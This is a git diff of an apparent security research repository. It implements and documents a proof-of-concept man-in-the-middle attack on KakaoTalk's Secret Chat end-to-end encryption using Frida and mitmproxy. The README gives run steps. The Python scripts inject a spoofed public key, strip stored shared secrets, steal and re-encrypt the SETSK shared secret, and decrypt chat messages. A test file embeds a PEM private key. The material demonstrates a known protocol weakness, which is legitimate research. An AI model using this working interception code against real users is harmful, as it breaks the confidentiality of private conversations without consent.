diff --git a/SECRET_CHAT.md b/SECRET_CHAT.md index 280a627..eafde33 100644 --- a/SECRET_CHAT.md +++ b/SECRET_CHAT.md @@ -6,7 +6,7 @@ We've created a simple script to man-in-the-middle *Secret Chat* communications with `Frida` and `mitmproxy`. It demonstrates a well-known server-side attack in which the operator (i.e. KakaoTalk) can spoof a client's public key to intercept and read E2E encrypted chat messages. -After the MITM attack there's no immediate warning message in the chat. Only if both parties go to `Chatroom Settings` -> `Public Key` and compare their public key fingerprints, the attack can be detected. +After the MITM attack there's no immediate warning message that is prompted to the user. Only if both parties go to `Chatroom Settings` -> `Public Key` and compare their public key fingerprints, the attack can be detected. This is how one can run the PoC: @@ -14,21 +14,25 @@ This is how one can run the PoC: - Wipe all entries in the `public_key_info` and `secret_key_info` tables from the `KakaoTalk.db` database - Start `mitmproxy`: `$ mitmdump -m wireguard -s mitm_secret_chat.py` - Start `Frida`: `$ frida -U -l loco-tracer.js -f com.kakao.talk` -- Create new *Secret Chat* room in KakaoTalk app and sent a message +- Create new *Secret Chat* room in the KakaoTalk app and send a message - View message in `mitmproxy` terminal window How it works: - Server-side `GETLPK` packet gets intercepted -> Inject MITM public key -- Server-side `SCREATE` packet gets intercepted -> Remove already existing shared secret (if any) +- Server-side `SCREATE` packet gets intercepted -> Remove an already existing shared secret (if any) - Sender sends a `SETSK` packet -> `mitmproxy` script grabs shared secret and re-encrypts it with the recipient's original public key - Using the shared secret, the script computes the E2E encryption key - `MSG` and `SWRITE` packets are decrypted and dumped in the `mitmproxy` terminal -Known issues: +Known issues / TODOs: -- Malformed `SCREATE` packets lead to parsing errors -> work-around: restart the script and try again :wink: -- Sometimes the shared secret can't be decrypted and the script fails with a `ValueError` exception (`Encryption/decryption failed`) -> just try again :wink: +- Mitmproxy splits large `SCREATE` packets into multiple messages. There's no built-in packet reassembly. As such, fragmented `SCREATE` packets lead to parsing errors -> work-around: + - Delete the Secret Chat chatroom and delete all rows from the `public_key_info` and `secret_key_info` tables in the `KakaoTalk.db` database + - Restart the mitmproxy and Frida scripts + - Create a new chatroom. Also try to create a new chatroom with a different friend. +- If the MITM public key can't be injected, the shared secret can't be decrypted and the script fails with a `ValueError` exception (`Encryption/decryption failed`) -> just try again :wink: +- The removal of server-side stored shared secrets doesn't seem to work in some cases (flaky) Android implementation specifics: @@ -39,11 +43,9 @@ Android implementation specifics: TO-DOS: -- How to attack an already existing E2E chat room? -- Check public key fingerprints if they have changed - Reinstall the app and check whether a warning shows up -- What about the master secret? -> Remove it! - Test CFB bit flipping +- How are the msgId and chatId generated? -> nonce for CTR mode! Demo: diff --git a/scripts/frida/loco-tracer.js b/scripts/frida/loco-tracer.js index e8588de..3ac8496 100644 --- a/scripts/frida/loco-tracer.js +++ b/scripts/frida/loco-tracer.js @@ -570,7 +570,9 @@ function hookKeyGeneratorGenerateKey() { if (!(doNotHookFileNames.includes(caller.getFileName())) || hookAllClasses) { console.log("[KeyGenerator.generateKey()]: Object: " + tmp); console.log("Caller: " + caller.getFileName()); - dumpByteArray("[KeyGenerator.generateKey()]: Key", encodedKey); + // dumpByteArray("[KeyGenerator.generateKey()]: Key", encodedKey); + var base64_key = Java.use("android.util.Base64").encodeToString(encodedKey, 0); + console.log("Generated key: " + base64_key); if (printStacktrace) { var stacktrace = Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()).replace("java.lang.Exception", "") console.log(stacktrace); diff --git a/scripts/mitmproxy/lib/crypto_utils.py b/scripts/mitmproxy/lib/crypto_utils.py index 06a4118..f55be73 100644 --- a/scripts/mitmproxy/lib/crypto_utils.py +++ b/scripts/mitmproxy/lib/crypto_utils.py @@ -1,4 +1,5 @@ import math +import re from cryptography.hazmat.primitives import hashes, hmac, serialization from cryptography.hazmat.primitives.asymmetric import padding, rsa @@ -41,6 +42,19 @@ def get_rsa_public_key_pem(key_pair): ) +def get_clean_public_key(key_pair) -> str: + mitm_public_key_pem = get_rsa_public_key_pem(key_pair).decode("utf-8") + header = "-----BEGIN PUBLIC KEY-----" + footer = "-----END PUBLIC KEY-----" + pattern = re.compile( + f"{header}|{footer}", + re.MULTILINE, + ) + mitm_public_key_cleaned = pattern.sub("", mitm_public_key_pem).replace("\n", "") + + return mitm_public_key_cleaned + + def rsa_encrypt(plaintext: bytes, public_key_pem: str, add_header_footer: bool = False): if add_header_footer: header = "-----BEGIN RSA PUBLIC KEY-----\n" @@ -72,6 +86,11 @@ def rsa_decrypt(ciphertext: bytes, key_pair) -> bytes: return plaintext +def get_e2e_encryption_key(shared_secret: bytes): + salt = b"53656372657443686174526f6f6d4b6579" + return compute_key(shared_secret, salt, 32) + + def compute_key(shared_secret: bytes, salt: bytes, length): kdf = PBKDF2HMAC(algorithm=hashes.SHA1(), length=length, salt=salt, iterations=2048) key = kdf.derive(shared_secret) @@ -84,6 +103,7 @@ def compute_hmac(key, message): return h.finalize() +# Code taken from KakaoTalk 10.4.3 Android sources def byte_juggling_1(i, i2, b_arr): z = i <= i2 @@ -102,6 +122,7 @@ def byte_juggling_1(i, i2, b_arr): return None +# Code taken from KakaoTalk 10.4.3 Android sources def byte_juggling_2(b_arr, b_arr2): length = len(b_arr2) @@ -119,6 +140,7 @@ def byte_juggling_2(b_arr, b_arr2): return b_arr4 +# Code taken from KakaoTalk 10.4.3 Android sources def compute_nonce(shared_secret: bytes, message_id): message_id_bytes = message_id.to_bytes(8, "little") salt_1 = b"53656372657443686174526f6f6d4b6579" # SecretChatRoomKey diff --git a/scripts/mitmproxy/lib/loco_parser.py b/scripts/mitmproxy/lib/loco_parser.py index a294b1a..78f2006 100644 --- a/scripts/mitmproxy/lib/loco_parser.py +++ b/scripts/mitmproxy/lib/loco_parser.py @@ -1,132 +1,13 @@ import base64 -import io import logging -import re import struct import bson -from lib.crypto_utils import ( - aes_decrypt, - aes_e2e_decrypt, - aes_encrypt, - compute_key, - compute_nonce, - get_rsa_public_key_pem, - rsa_decrypt, - rsa_encrypt, -) - -class LocoPacket: - def __init__( - self, - identifier=0, - status_code=0, - loco_command="", - body_type=0, - body_length=0, - body_payload=b"", - ): - self.id = identifier - self.status_code = status_code - self.loco_command = loco_command - self.body_type = body_type - self.body_length = body_length - self.body_payload = body_payload - - def get_packet_bytes(self) -> bytes: - try: - f = io.BytesIO() - f.write(struct.pack(" dict: - loco_dict = vars(self) - - try: - if loco_dict["body_payload"] and isinstance( - loco_dict["body_payload"], bytes - ): - loco_dict["body_payload"] = bson.loads(self.body_payload) - elif loco_dict["body_payload"] and isinstance( - loco_dict["body_payload"], dict - ): - loco_dict["body_payload"] = self.body_payload - except Exception as general_exception: - loco_dict = {} - logging.error( - "Couldn't decode BSON body of packet %s: %s", - self.loco_command, - general_exception, - ) - - return loco_dict - - -class LocoEncryptedPacket: - def __init__(self, length=0, iv=b"", payload=b""): - self.length = length - self.iv = iv - self.payload = payload - - def create_new_packet(self, loco_packet: LocoPacket) -> bytes: - if not loco_packet: - logging.error( - "Could not create LOCO encrypted packet: LOCO packet data is None." - ) - return None - - encrypted_packet = aes_encrypt(loco_packet.get_packet_bytes(), self.iv) - - if not encrypted_packet: - logging.error("Could not encrypt LOCO packet.") - return None - - try: - f = io.BytesIO() - f.write(struct.pack(" bytes: - try: - f = io.BytesIO() - f.write(struct.pack(" (len(data) - 4): + is_fragmented = True + else: + is_fragmented = False + + return LocoEncryptedPacket(length, iv, payload, is_fragmented) except Exception as general_exception: logging.error("Couldn't parse LOCO encrypted packet: %s", general_exception) return None @@ -210,18 +99,18 @@ class LocoParser: body_json = self.loco_packet.body_payload - # MSG LOCO packet + # Read message from "MSG" LOCO packet if ( "chatLog" in body_json and body_json["chatLog"]["message"] == trigger_message ): body_json["chatLog"]["message"] = payload - # WRITE LOCO packet + # Read message from "WRITE" LOCO packet if "msg" in body_json and body_json["msg"] == trigger_message: body_json["msg"] = payload - # LOGINLIST LOCO packet + # Read message from "LOGINLIST" LOCO packet if "chatDatas" in body_json and body_json["chatDatas"]: if ( "l" in body_json["chatDatas"][0] @@ -263,22 +152,10 @@ class LocoParser: self.loco_encrypted_packet.payload = bytes(ciphertext) return self.loco_encrypted_packet.get_packet_bytes() - def get_clean_public_key(self, key_pair) -> str: - mitm_public_key_pem = get_rsa_public_key_pem(key_pair).decode("utf-8") - header = "-----BEGIN PUBLIC KEY-----" - footer = "-----END PUBLIC KEY-----" - pattern = re.compile( - f"{header}|{footer}", - re.MULTILINE, - ) - mitm_public_key_cleaned = pattern.sub("", mitm_public_key_pem).replace("\n", "") - - return mitm_public_key_cleaned - def inject_public_key(self, key_pair): if not self.loco_packet: logging.error("LOCO packet data is None.") - return (None, None, None) + return (None, None) if isinstance(self.loco_packet.body_payload, bytes): self.loco_packet.body_payload = bson.loads(self.loco_packet.body_payload) @@ -289,33 +166,31 @@ class LocoParser: "SCREATE", "CHATONROOM", }: - return (None, None, None) + return (None, None) if not self.loco_packet.body_payload.get("pi"): - logging.error( - "LOCO packet %s doesn't contain dictionary key 'pi'.", + logging.warning( + "There's no public key in %s packet. No need to replace it.", self.loco_packet.loco_command, ) - return (None, None, None) + return (None, None) - mitm_public_key_cleaned = self.get_clean_public_key(key_pair) + mitm_public_key_cleaned = get_clean_public_key(key_pair) # logging.info("MITM public key: %s", mitm_public_key_cleaned) original_public_key = self.loco_packet.body_payload["pi"][0]["ek"] - user_id = self.loco_packet.body_payload["pi"][0]["u"] self.loco_packet.body_payload["pi"][0]["ek"] = mitm_public_key_cleaned if not len(original_public_key) == len(mitm_public_key_cleaned): logging.error("Original and MITM public key don't have the same length!") - return (None, None, None) + return (None, None) self.loco_packet.body_payload = bson.dumps(self.loco_packet.body_payload) self.loco_packet.body_length = len(self.loco_packet.body_payload) return ( original_public_key.encode(), - user_id, self.loco_encrypted_packet.create_new_packet(self.loco_packet), ) @@ -332,7 +207,7 @@ class LocoParser: if self.loco_packet.body_payload.get("si"): logging.warning( - "Removing stored shared secret from %s packet.", + "Removing stored shared secret from %s packet...", self.loco_packet.loco_command, ) self.loco_packet.body_payload.pop("si") @@ -342,10 +217,6 @@ class LocoParser: return self.loco_encrypted_packet.create_new_packet(self.loco_packet) - def get_e2e_encryption_key(self, shared_secret: bytes): - salt = b"53656372657443686174526f6f6d4b6579" - return compute_key(shared_secret, salt, 32) - def get_shared_secret(self, rsa_key_pair) -> bytes: shared_secret = None @@ -429,7 +300,7 @@ class LocoParser: msg_id = self.loco_packet.body_payload["chatLog"]["msgId"] chat_id = self.loco_packet.body_payload["chatId"] - # KakaoTalk uses either the msgId or chatId to compute the nonce + # KakaoTalk uses either the msgId or chatId as an input seed to compute the nonce nonce_with_msg_id = compute_nonce(shared_secret, msg_id) nonce_with_chat_id = compute_nonce(shared_secret, chat_id) diff --git a/scripts/mitmproxy/mitm_secret_chat.py b/scripts/mitmproxy/mitm_secret_chat.py index 0ceac69..e0c1496 100644 --- a/scripts/mitmproxy/mitm_secret_chat.py +++ b/scripts/mitmproxy/mitm_secret_chat.py @@ -1,21 +1,20 @@ import base64 import logging -from lib.crypto_utils import get_rsa_key_pair +from lib.crypto_utils import get_e2e_encryption_key, get_rsa_key_pair from lib.loco_parser import LocoParser from mitmproxy import connection, tcp, tls from mitmproxy.utils import human, strutils class LocoMitmBase: - def __init__(self, rsa_key_pair, master_secret=None, test_key=None) -> None: + def __init__(self, rsa_key_pair) -> None: self.parser = LocoParser() self.rsa_key_pair = rsa_key_pair - self.recipient_user_id = 0 self.recipient_public_key = b"" self.shared_secret = b"" - self.master_secret = master_secret - self.e2e_encryption_key = test_key + self.e2e_encryption_key = b"" + self.cached_packet = b"" @staticmethod def get_addr(server: connection.Server): @@ -30,7 +29,7 @@ class LocoMitmBase: class SecretChatMitm(LocoMitmBase): def compute_e2e_encryption_key(self, shared_secret): if not self.e2e_encryption_key: - self.e2e_encryption_key = self.parser.get_e2e_encryption_key(shared_secret) + self.e2e_encryption_key = get_e2e_encryption_key(shared_secret) logging.warning( "Shared secret: %s E2E encryption key: %s", shared_secret, @@ -39,7 +38,24 @@ class SecretChatMitm(LocoMitmBase): def tcp_message(self, flow: tcp.TCPFlow): message = flow.messages[-1] - self.parser.parse(message.content) + + # Flaky way to reassemble fragmented LOCO packets + # TODO: Fix this. + if self.cached_packet: + logging.warning("Trying to reassemble LOCO packet...") + self.parser.parse(self.cached_packet + message.content) + self.cached_packet = b"" + else: + self.parser.parse(message.content) + + if self.parser.loco_encrypted_packet.is_fragmented: + self.cached_packet = message.content + logging.warning( + "%s packet is fragmented. Dropping it...", + self.parser.loco_packet.loco_command, + ) + message.content = b"" + return # Log LOCO packets to STDOUT if self.parser.loco_packet: @@ -58,15 +74,6 @@ class SecretChatMitm(LocoMitmBase): ) return - # Drop LOCO packets that can't be decoded - if not decoded_loco_packet: - logging.warning( - "Dropping %s packet as we cannot decode the packet body.", - self.parser.loco_packet.loco_command, - ) - message.content = b"" - return - # If there's already a shared secret stored on the server-side remove it if ( not self.e2e_encryption_key @@ -79,7 +86,7 @@ class SecretChatMitm(LocoMitmBase): ): if isinstance(self.parser.loco_packet.body_payload, bytes): logging.warning( - "Dropping %s packet as we cannot decode the packet body.", + "Dropping %s packet as we cannot decode the packet body...", self.parser.loco_packet.loco_command, ) message.content = b"" @@ -92,29 +99,24 @@ class SecretChatMitm(LocoMitmBase): self.parser.parse(message.content) # Drop server-side "SETSK" LOCO packets - if ( - not self.e2e_encryption_key - and not message.from_client - and self.parser.loco_packet.loco_command == "SETSK" - ): - logging.warning("Dropping server-side SETSK packet.") + if not message.from_client and self.parser.loco_packet.loco_command == "SETSK": + logging.warning("Dropping server-side SETSK packet...") message.content = b"" return # Get recipient's public key and replace it with our MITM public key - if ( - not self.e2e_encryption_key - and not message.from_client - and self.parser.loco_packet.loco_command - in {"GETPK", "GETLPK", "SCREATE", "CHATONROOM"} - ): + if not message.from_client and self.parser.loco_packet.loco_command in { + "GETPK", + "GETLPK", + "SCREATE", + "CHATONROOM", + }: logging.warning( "Trying to parse recipient's public key from %s packet...", self.parser.loco_packet.loco_command, ) ( recipient_public_key, - self.recipient_user_id, tampered_packet, ) = self.parser.inject_public_key(self.rsa_key_pair) @@ -127,13 +129,6 @@ class SecretChatMitm(LocoMitmBase): else: self.recipient_public_key = recipient_public_key - if not self.recipient_user_id: - logging.error( - "Could not parse recipient user ID from %s packet.", - self.parser.loco_packet.loco_command, - ) - return - if not tampered_packet: logging.error( "Could not create a fake %s packet.", @@ -145,13 +140,13 @@ class SecretChatMitm(LocoMitmBase): "Injecting MITM public key into %s packet...", self.parser.loco_packet.loco_command, ) + message.content = tampered_packet - # logging.info("Tampered packet: %s", self.parser.loco_packet.get_packet_as_dict()) + return # Grab the shared secret from the "SETSK" packet if ( self.recipient_public_key - and not self.e2e_encryption_key and message.from_client and self.parser.loco_packet.loco_command == "SETSK" ): @@ -160,9 +155,9 @@ class SecretChatMitm(LocoMitmBase): self.parser.loco_packet.loco_command, ) - shared_secret = self.parser.get_shared_secret(self.rsa_key_pair) + shared_secret_encoded = self.parser.get_shared_secret(self.rsa_key_pair) - if not shared_secret: + if not shared_secret_encoded: logging.error( "Couldn't decrypt shared secret from %s packet. Dropping it...", self.parser.loco_packet.loco_command, @@ -170,7 +165,7 @@ class SecretChatMitm(LocoMitmBase): message.content = b"" return - self.shared_secret = shared_secret + self.shared_secret = shared_secret_encoded logging.warning("Shared secret: %s", self.shared_secret) # Re-encrypt shared secret with the recipient's original public key @@ -187,31 +182,29 @@ class SecretChatMitm(LocoMitmBase): ) # Compute E2E encryption key - if not self.e2e_encryption_key and self.shared_secret: + if self.shared_secret: self.compute_e2e_encryption_key(self.shared_secret) - if not self.e2e_encryption_key and self.master_secret: - self.compute_e2e_encryption_key(self.master_secret) - # Decrypt Secret Chat end-to-end encrypted message - if self.e2e_encryption_key and ( - (message.from_client and self.parser.loco_packet.loco_command == "SWRITE") - or ( - not message.from_client - and self.parser.loco_packet.loco_command == "MSG" + if ( + self.e2e_encryption_key + and self.shared_secret + and ( + ( + message.from_client + and self.parser.loco_packet.loco_command == "SWRITE" + ) + or ( + not message.from_client + and self.parser.loco_packet.loco_command == "MSG" + ) ) ): logging.warning("Trying to decrypt Secret Chat message...") - decrypted_e2e_message = "" - if self.master_secret: - decrypted_e2e_message = self.parser.get_decrypted_e2e_message( - self.e2e_encryption_key, self.master_secret - ) - elif self.shared_secret: - decrypted_e2e_message = self.parser.get_decrypted_e2e_message( - self.e2e_encryption_key, self.shared_secret - ) + decrypted_e2e_message = self.parser.get_decrypted_e2e_message( + self.e2e_encryption_key, self.shared_secret + ) if decrypted_e2e_message: logging.warning( diff --git a/scripts/mitmproxy/tests/data/encrypted_screate_packet_with_mitm_key.raw b/scripts/mitmproxy/tests/data/encrypted_screate_packet_with_mitm_key.raw index a77744e..f954c09 100644 Binary files a/scripts/mitmproxy/tests/data/encrypted_screate_packet_with_mitm_key.raw and b/scripts/mitmproxy/tests/data/encrypted_screate_packet_with_mitm_key.raw differ diff --git a/scripts/mitmproxy/tests/data/setsk_loco_packet_sk_enc_with_kakaotalk_key.yaml b/scripts/mitmproxy/tests/data/setsk_loco_packet_sk_enc_with_recipient_key.yaml similarity index 100% rename from scripts/mitmproxy/tests/data/setsk_loco_packet_sk_enc_with_kakaotalk_key.yaml rename to scripts/mitmproxy/tests/data/setsk_loco_packet_sk_enc_with_recipient_key.yaml diff --git a/scripts/mitmproxy/tests/test_loco_parser.py b/scripts/mitmproxy/tests/test_loco_parser.py index 1f75519..2485e92 100644 --- a/scripts/mitmproxy/tests/test_loco_parser.py +++ b/scripts/mitmproxy/tests/test_loco_parser.py @@ -1,13 +1,12 @@ import base64 -from pathlib import Path from typing import Final import pytest import ruamel.yaml -from cryptography.hazmat.primitives import hashes, serialization -from cryptography.hazmat.primitives.asymmetric import padding -from lib.crypto_utils import get_rsa_public_key_pem, rsa_decrypt, rsa_encrypt -from lib.loco_parser import LocoEncryptedPacket, LocoPacket, LocoParser +from cryptography.hazmat.primitives import serialization +from lib.crypto_utils import rsa_decrypt +from lib.loco_packet import LocoEncryptedPacket, LocoPacket +from lib.loco_parser import LocoParser yaml = ruamel.yaml.YAML(typ="safe", pure=True) @@ -64,17 +63,18 @@ _LOCO_PACKETS_YAML: Final = [ "syncmsg_packet_server.yaml", ] _IV: Final = 16 * b"\x00" -_KAKAOTALK_RSA_PUBLIC_KEY: Final = b"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9itiCdmMHYWJXq4GE0Xm\ncYy2/ifVv7lYZgPkqw2hjhhhPRYBGchuWUrWynqK0lQODvRIOyM3Q9khv8CPKss2\nipkBbQ4HHRSmpR346TbMQrTUjUCDSSfyY8Awy+DjGzWfn46uY0sHutP6wbGNhlmq\nc8mLP1mjAePYXE3QL1o1oWxhMqyRNY/RSrYMnqowt4u1/Fb3TVQ99uq6q7GkSWJC\nW+ALzx8eTHqnDUl7VqIS0EfNrHsExaR8m5HubWjfg8ZGX4+NNd9kNEINXTVfAcGH\nZ6XuMT1bdeW/F3IbAslbfH7Uj3LRTQhZ8iDzG19DIQy73s/IajPmQllFJaDdIr/w\nFQIDAQAB" +_ORIGINAL_RECIPIENT_PUBLIC_KEY: Final = b"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9itiCdmMHYWJXq4GE0Xm\ncYy2/ifVv7lYZgPkqw2hjhhhPRYBGchuWUrWynqK0lQODvRIOyM3Q9khv8CPKss2\nipkBbQ4HHRSmpR346TbMQrTUjUCDSSfyY8Awy+DjGzWfn46uY0sHutP6wbGNhlmq\nc8mLP1mjAePYXE3QL1o1oWxhMqyRNY/RSrYMnqowt4u1/Fb3TVQ99uq6q7GkSWJC\nW+ALzx8eTHqnDUl7VqIS0EfNrHsExaR8m5HubWjfg8ZGX4+NNd9kNEINXTVfAcGH\nZ6XuMT1bdeW/F3IbAslbfH7Uj3LRTQhZ8iDzG19DIQy73s/IajPmQllFJaDdIr/w\nFQIDAQAB" _SHARED_SECRET: Final = b"SHARED_SECRET" +_SHARED_SECRET_ENCODED: Final = base64.b64encode(_SHARED_SECRET) -def get_rsa_2048_key_pair(): +def get_mitm_rsa_2048_key_pair(): key_pair_pem = b"-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQD2K2IJ2YwdhYle\nrgYTReZxjLb+J9W/uVhmA+SrDaGOGGE9FgEZyG5ZStbKeorSVA4O9Eg7IzdD2SG/\nwI8qyzaKmQFtDgcdFKalHfjpNsxCtNSNQINJJ/JjwDDL4OMbNZ+fjq5jSwe60/rB\nsY2GWapzyYs/WaMB49hcTdAvWjWhbGEyrJE1j9FKtgyeqjC3i7X8VvdNVD326rqr\nsaRJYkJb4AvPHx5MeqcNSXtWohLQR82sewTFpHybke5taN+DxkZfj40132Q0Qg1d\nNV8BwYdnpe4xPVt15b8XchsCyVt8ftSPctFNCFnyIPMbX0MhDLvez8hqM+ZCWUUl\noN0iv/AVAgMBAAECggEAMUOqWZVHZKsSPDfwcE/3V7cU8hUPwlA54CScUR0nvTOk\n1iA+tSW267i99oSCnqgCrjx17hvUlgfwqJrFLAfCEQeg0O3TP58f4IB4jVeRljHx\nLZmBDJVpfUv7l/mYCZx4JurbfHSKBfohPz0kuQPdyFFHxDRQmnK6HHLYHHndrMGK\nzmuH+DigjPy2WIJvuWnMQE6kMnIdncHu6PpuZb8syryYQSWEgXUeUL96CHdhNwNk\nayXWRli6uqVM9yBYPUHU11V7LrZYoFp3T1P81Gd+SVSUfMumS37l18q7fZXbrRr8\nsRWes75cwulp5KZsmsQVBaMbl4Dm3iClDJ5nSqpPIQKBgQD/FnftIGnKuiSX382J\nJdGHzR2XkYHiiL/zZEkLAT+5NjJRS6UNeK5o/M1L6boPycvytzJmH0jV0sC3X4SY\n7XOGXnmJmnzG2zxDrdge+j+KGJ3i0eTdQBE8+kC1NUCZHSEYRN4MZEzHfAHop5NF\nIaHBbDnqHOudomrb4DrIow6/5QKBgQD3DL/1jK4qIrryWuPzN7cpWft6vwHG7t+q\nnf9a9tjZ5gec/I6TvbM0Qj4ok005NjwUI1BhR2OGoSd/Axd59Xx4P+Q4mNPiysRi\n+ItmQlnV3U6l1m2A2iznF1/2127pQT7NUfaDoX9MNSOzLCCGBWqSktP+FhLD8csU\nHWLNelyMcQKBgA1LxoR9pAYFHdMsvzHe3sUNU/WKiBKeviKZn5ULQ58LzCOgpcHG\nAJFIXAsQ67nW8uJ72gyopMtAaPsl52txNQxT8FHT050p4EJG1XUH5jf0gIZKGnvN\n0xgykxze4bcZZZg2Pry2nanoNNFDqtF3p07FrV8ekslspdVAItBCb4phAoGAO9Ta\nqJ1pkMrYe9mHW2Ai++DPBus7gvJXOPsK3Pzrh9ot/dcssJtAy2c/ppQGH9UCt93V\nmbmwYOqmphwZk2/gtT7EBvD8X/C7nzyShjGLkEAIzCEiZBJyzYTbuOxz8AndK9yt\n1zNFoS89dic5uTuWk+j7bo3p/YqRpE15oEoCIAECgYEA6Sj9AJKKdtdhY1xRTJvh\n6r85iW24EVN1K4eZqNLKiu6l7N1zofxfwXlZPOwE5YYN965xVKGHocwL0dk3Js5C\nw5+hHfxWLomnz+c2tv7kkTJTZzKfSR/6gzsdR4kX9hS2bntQdH137RpobvdGcJGe\nh5FwC5Myfu2oxAqtvX6ii9g=\n-----END PRIVATE KEY-----\n" return serialization.load_pem_private_key(key_pair_pem, password=None) -@pytest.fixture -def parser(): +@pytest.fixture(name="parser") +def parser_fixture(): return LocoParser() @@ -93,13 +93,15 @@ def loco_packet_packet(request, shared_datadir): ) -@pytest.fixture -def loco_encrypted_packet(): +@pytest.fixture(name="loco_encrypted_packet") +def loco_encrypted_packet_fixture(): return LocoEncryptedPacket(length=0, iv=_IV, payload=b"") -@pytest.fixture(params=zip(_LOCO_ENYCRYPTED_PACKETS_RAW, _LOCO_PACKETS_YAML)) -def loco_zip(request): +@pytest.fixture( + name="loco_zip", params=zip(_LOCO_ENYCRYPTED_PACKETS_RAW, _LOCO_PACKETS_YAML) +) +def loco_zip_fixture(request): return request.param @@ -127,7 +129,7 @@ def test_parse(parser, loco_zip, shared_datadir): def test_inject_public_key(parser, loco_encrypted_packet, shared_datadir): - rsa_key_pair = get_rsa_2048_key_pair() + rsa_key_pair = get_mitm_rsa_2048_key_pair() with open( (shared_datadir / "encrypted_screate_packet_with_mitm_key.raw"), "rb" @@ -164,7 +166,7 @@ def test_inject_public_key(parser, loco_encrypted_packet, shared_datadir): def test_get_shared_secret(parser, shared_datadir): - rsa_key_pair = get_rsa_2048_key_pair() + rsa_key_pair = get_mitm_rsa_2048_key_pair() with open( (shared_datadir / "setsk_loco_packet_sk_enc_with_mitm_key.yaml"), @@ -191,15 +193,12 @@ def test_get_shared_secret(parser, shared_datadir): parser.loco_packet = setsk_packet assert parser.loco_packet - assert parser.get_shared_secret(rsa_key_pair) == decrypted_shared_secret + assert parser.get_shared_secret(rsa_key_pair) == _SHARED_SECRET_ENCODED def test_encrypt_shared_secret(parser, loco_encrypted_packet, shared_datadir): - with open((shared_datadir / "encrypted_setsk_packet.raw"), "rb") as packet_raw: - encrypted_setsk_packet = packet_raw.read() - with open( - (shared_datadir / "setsk_loco_packet_sk_enc_with_mitm_key.yaml"), + (shared_datadir / "setsk_loco_packet_sk_enc_with_recipient_key.yaml"), encoding="utf-8", ) as packet_yaml: setsk_dict = yaml.load(packet_yaml) @@ -219,7 +218,6 @@ def test_encrypt_shared_secret(parser, loco_encrypted_packet, shared_datadir): parser.loco_encrypted_packet = loco_encrypted_packet assert parser.loco_encrypted_packet - assert ( - parser.encrypt_shared_secret(_SHARED_SECRET, _KAKAOTALK_RSA_PUBLIC_KEY) - == encrypted_setsk_packet + assert parser.encrypt_shared_secret( + _SHARED_SECRET_ENCODED, _ORIGINAL_RECIPIENT_PUBLIC_KEY )